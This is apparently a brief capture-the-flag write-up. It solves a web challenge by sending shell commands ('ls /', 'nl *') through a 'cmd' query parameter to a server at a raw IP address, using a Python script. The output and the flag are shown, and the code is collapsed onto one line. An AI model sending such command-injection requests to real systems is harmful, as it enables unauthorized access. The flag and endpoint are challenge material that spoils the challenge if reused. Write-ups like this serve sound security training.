You can use the command `ls /` for listing files and directories and `nl *` for looking for the flag string. Here is the python code to solve this challenge.
```import requestshtml = requests.get('http://207.180.200.166:8000/?cmd=ls /')print(html.text.strip())html = requests.get('http://207.180.200.166:8000/?cmd=nl *')text = ''for line in html.text:    text += line.strip()a = text.find('flag{')b = text.find('}', a + 6) + 1print(text[a:b])```
Here is the result from the python code.
```bindevetcflag.txthomelibmediamntprocrootrunsbinsrvsystmpusrvarflag{ju57_g0tt@_5pl1t_Em3012}```
You will got the flag.
```flag{ju57_g0tt@_5pl1t_Em3012}```